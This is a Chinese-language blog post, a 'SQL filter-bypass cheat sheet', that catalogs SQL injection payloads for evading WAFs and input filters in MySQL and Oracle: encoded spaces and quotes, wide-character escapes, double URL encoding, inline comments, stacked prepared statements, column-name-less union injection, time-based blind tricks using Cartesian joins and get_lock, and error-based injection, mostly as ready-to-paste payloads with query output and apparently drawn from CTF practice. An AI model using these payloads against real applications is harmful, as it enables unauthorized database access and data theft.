HacKerQWQ的博客空间

sql绕过过滤速查

Word count: 2.4kReading time: 11 min
2021/04/08 Share

空格过滤

注释符

1
2
/**/
/!**/

双空格

%20%20

回车绕过

ascii码为chr(13)&chr(10),url编码为%0d%0a

括号绕过

1
select(user())from dual where(1=1)and(2=2)

另类空格

%0a、%0b、%0c、%0d、%09、%a0等

引号过滤

使用十六进制

1
select column_name  from information_schema.tables where table_name=0x7573657273

使用反斜杠\

1
SELECT * FROM wp_news WHERE id = 'a\' AND TITLE = 'OR sleep(1)#'";

宽字符

数据库使用gbk编码时可以用宽字符
%df%27 %bf%27 %aa%27 %d5%5c

逗号过滤

使用from

from:

1
select substr(database(0 from 1 for 1);

offset

1
2
3
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

join

原语句

1
union select 1,2,3

join 语句

1
union select * from (select 1)a join (select 2)b join (select 3)c

case when

case when #condition then … else … end语句来代替if语句

1
case when ord(substr((select username from db.table limit 1) from 1 for 1))=98 then sleep(2) else 1 end

比较号过滤(<>)

使用greatest

用法:greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

1
2
3
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
#等价于
select * from users where id=1 and ascii(substr(database(),0,1))>64

使用least

用法:greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最小值。

strcmp

strcmp(str1,str2)
当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

in 操作符

between and

选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

等号过滤

regexp&rlike&like

不加通配符的like执行的效果和=一致,所以可以用来绕过;

rlike的用法和上面的like一样,没有通配符效果和=一样;

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

<> 等价于 != ,所以在前面再加一个!结果就是等号了

1
2
3
4
?id=1 or 1 like 1
?id=1 or 1 rlike 1
?id=1 or 1 regexp 1
?id=1 or !(1 <> 1)或者1 !(<>) 1

or/and过滤

and = &&
or = ||

过滤函数

替代

hex()、bin() ==> ascii()
mid()、substr(),left() ==> substring()
sleep=>benchmark(1)
group_concat=>concat_ws()

过滤关键字

双url编码

1
2
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2

内联注释

适用于MYSQL数据库
and /*!select*/ 1,2

双写

selselectect

大小写

SeLect

unicode对部分符号绕过

单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

预编译绕过

1
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

if过滤

case when

case when #condition then … else … end语句来代替if语句

1
case when ord(substr((select username from db.table limit 1) from 1 for 1))=98 then sleep(2) else 1 end

information_schema过滤

mysql5.7新增sys.schema_auto_increment_columns

这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
20210408115148

sys.schema_table_statistics_with_buffer

这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息

与它表结构相似的视图还有

  • sys.x$schema_table_statistics_with_buffer

  • sys.x$schema_table_statistics

  • sys.x$ps_schema_table_statistics_io

以下为该视图的常用列(全部列有很多很多)
20210408115222

mysql默认存储引擎innoDB携带的表

  • mysql.innodb_table_stats

  • mysql.innodb_index_stats

两表均有database_nametable_name字段,可以利用
20210408115243

无列名注入

  1. join using
    1
    ?id=1 union select (1,1,1) > (select * from users limit 0,1)#判断列数,增加括号中的1来判断列数
    20210517141122
    1
    ?id=1 union select * from (select * from users as a join users as b)as c;# 判断第一列列名
    20210517140847
    1
    ?id=1 union select * from (select * from users as a join users as b using(id))as c;# 判断第二列列名
    20210517141307
  • Tip:数据库中as主要作用是起别名,常规来说都可以省略,但是为了增加可读性,不建议省略。
  1. order by
    用图片来解释
    20210516225607
    比如要跑第三个字段,那么payload就是

    1
    select * from users where id=1 union select 1,2,'p' order by 3

    此时是在以第三列进行比对然后进行排序,如’b’<’c’为True,那么当’b’>’c’时为False,回显发生变化,就可以以此来判断列名

  2. 子查询
    思想是换列名,先用几个(select 1)a来判断列数
    20210516225951
    此时列名换成我们已知的了,就可以查询字段名了,如上面的adminpass就是字段名

payload:

1
?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x

这个payload直接读取了this_1s_th3_fiag_tab13表的第二列的所有数据
20210516230745

时间盲注绕过

除了常规的sleep,benchmark(count,expr)还有以下的另类注入

笛卡尔积注入

  • 正常执行一条查询语句的时间

    1
    2
    3
    4
    5
    6
    7
    mysql> select count(*) from information_schema.tables;
    +----------+
    | count(*) |
    +----------+
    | 446 |
    +----------+
    1 row in set (0.02 sec)

    是0.02sec

  • 当增加到三条时

    1
    2
    3
    4
    5
    6
    7
    mysql> select count(*) from information_schema.tables a,information_schema.tables b,information_schema.tables c;
    +----------+
    | count(*) |
    +----------+
    | 88716536 |
    +----------+
    1 row in set (5.71 sec)

    是5.71sec,可以利用这个时间来判断语句是否成功

  • 判断语句是否正确:

    1
    2
    select * from users where 1=1 and (select count(*) from information_schema.tables a,information_schema.tables b,information_schema.tables c);
    8 rows in set (6.61 sec)
1
2
select * from users where 1=0 and (select count(*) from information_schema.tables a,information_schema.tables b,information_schema.tables c);
Empty set (0.00 sec)

get_lock函数

当使用session A对字段进行get_lock,然后再使用session B对相同字段进行get_lock时,就会延时指定的时间

限制点:同时开两个session进行get_lock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SESSION A

mysql> select get_lock('lihuaiqiu',1);
+-------------------------+
| get_lock('lihuaiqiu',1) |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
SESSION B

mysql> select get_lock('lihuaiqiu',5);
+-------------------------+
| get_lock('lihuaiqiu',5) |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (5.00 sec)

mysql> select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2);
Empty set (2.00 sec)

mysql> select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2);
Empty set (0.00 sec)

报错注入绕过

  • mysql列名重复报错
    在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列.

Name_const函数用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> select name_const(version(),1);
+--------+
| 5.5.47 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
报错用法:

mysql> select name_const(version(),1),name_const(version(),1);;
+--------+--------+
| 5.5.47 | 5.5.47 |
+--------+--------+
| 1 | 1 |
+--------+--------+
1 row in set (0.00 sec)

ERROR:
No query specified

mysql> select * from (select name_const(version(),1),name_const(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.5.47'

不过这个有很大的限制,version()所多应的值必须是常量,而我们所需要的database()user()都是变量,无法通过报错得出,但是我们可以利用这个原理配合join函数得到列名。

  • 整数溢出报错函数
    pow(),cot(),exp()
    1
    2
    3
    4
    5
    6
    mysql> select * from ctf_test where user='2' and 1=1 and cot(0);
    ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
    mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999);
    ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)'
    mysql> select * from ctf_test where user='2' and 1=1 and exp(710);
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
  • 利用几何函数进行报错注入
    几何函数进行报错注入,如polygon(),linestring()函数等,姿势如下:
    1
    2
    3
    4
    mysql> select * from ctf_test where user='1' and polygon(user);
    ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing
    mysql> select * from ctf_test where user='1' and linestring(user);
    ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`'

Select绕过

Handler查表

1
HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE

特殊方法

multipart绕过

将Content-Type换成Multipart/form-data,boundary等号后加空格即可

multi

Mysql8注入

table

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

table相当于select * 但是不能指定where字段筛选条件

1
table user

image-20210826195530316

更多用法

1
2
table user limit 1 offset 0
table user order by user

values

1
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]row_constructor_list:ROW(value_list)[, ROW(value_list)][, ...]value_list:value[, value][, ...]column_designator:column_index

values用于配合row构造表,自动生成列字段

1
values row(1,2,3)

image-20210826195838166

利用方法:

通过构造不同的列数判断注入点的列数

1
2
table user union values row('sss','aaa');
table user union values row('sss','aaa',1)

image-20210826200012383

列数不对的话会报错

综合利用

  • informaton_schema.schemata表结构

有6列

1
('def',数据库名,'','','','')

image-20210826200601899

  • information_schema.tables表结构

image-20210826200827866

有11列

1
('def',数据库名,表名,'','','','','','','','')
  • information_schema.columns表结构

    image-20210826201326159

    有22列

    1
    ('def',数据库名,表名,字段名,'','','','','','','','','','','','','','','','','','')
1
2
3
4
5
6
#判断库名
1&&substr(database())<'c'
#判断表名
1&&('def','test','','','','','','','','','')<(table information_schema.tables limit 1 offset 0)
#判断字段名
1&&('def','test','flag','f','','','','','','','','','','','','','','','','','','')<(table information_schema.tables limit 1 offset 0)

Oracle绕过

我们可以使用hextoraw()asciistr()配合UTL_RAW.CAST_TO_VARCHAR2()函数来实现编码的绕过。

1
2
hextoraw():十六进制字符串转换为raw
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw("abcdef")) FROM dual

使用rawtohex()来进行ascii的解码

1
SELECT rawtohex('abcdef') FROM dual

下面是一些利用编码绕过的情况

1
2
3
4
5
6
7
SELECT 1 FROM dual;             正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符

参考链接

CATALOG
  1. 1. 空格过滤
    1. 1.1. 注释符
    2. 1.2. 双空格
    3. 1.3. 回车绕过
    4. 1.4. 括号绕过
    5. 1.5. 另类空格
  2. 2. 引号过滤
    1. 2.1. 使用十六进制
    2. 2.2. 使用反斜杠\
    3. 2.3. 宽字符
  3. 3. 逗号过滤
    1. 3.1. 使用from
    2. 3.2. offset
    3. 3.3. join
    4. 3.4. case when
  4. 4. 比较号过滤(<>)
    1. 4.1. 使用greatest
      1. 4.1.1. 使用least
    2. 4.2. strcmp
    3. 4.3. in 操作符
    4. 4.4. between and
  5. 5. 等号过滤
    1. 5.1. regexp&rlike&like
  6. 6. or/and过滤
  7. 7. 过滤函数
    1. 7.1. 替代
  8. 8. 过滤关键字
    1. 8.1. 双url编码
    2. 8.2. 内联注释
    3. 8.3. 双写
    4. 8.4. 大小写
    5. 8.5. unicode对部分符号绕过
    6. 8.6. 预编译绕过
  9. 9. if过滤
    1. 9.1. case when
  10. 10. information_schema过滤
    1. 10.1. mysql5.7新增sys.schema_auto_increment_columns
    2. 10.2. sys.schema_table_statistics_with_buffer
    3. 10.3. mysql默认存储引擎innoDB携带的表
    4. 10.4. 无列名注入
  11. 11. 时间盲注绕过
    1. 11.1. 笛卡尔积注入
    2. 11.2. get_lock函数
  12. 12. 报错注入绕过
  13. 13. Select绕过
    1. 13.1. Handler查表
  14. 14. 特殊方法
    1. 14.1. multipart绕过
  15. 15. Mysql8注入
    1. 15.1. table
    2. 15.2. values
    3. 15.3. 综合利用
  16. 16. Oracle绕过
  17. 17. 参考链接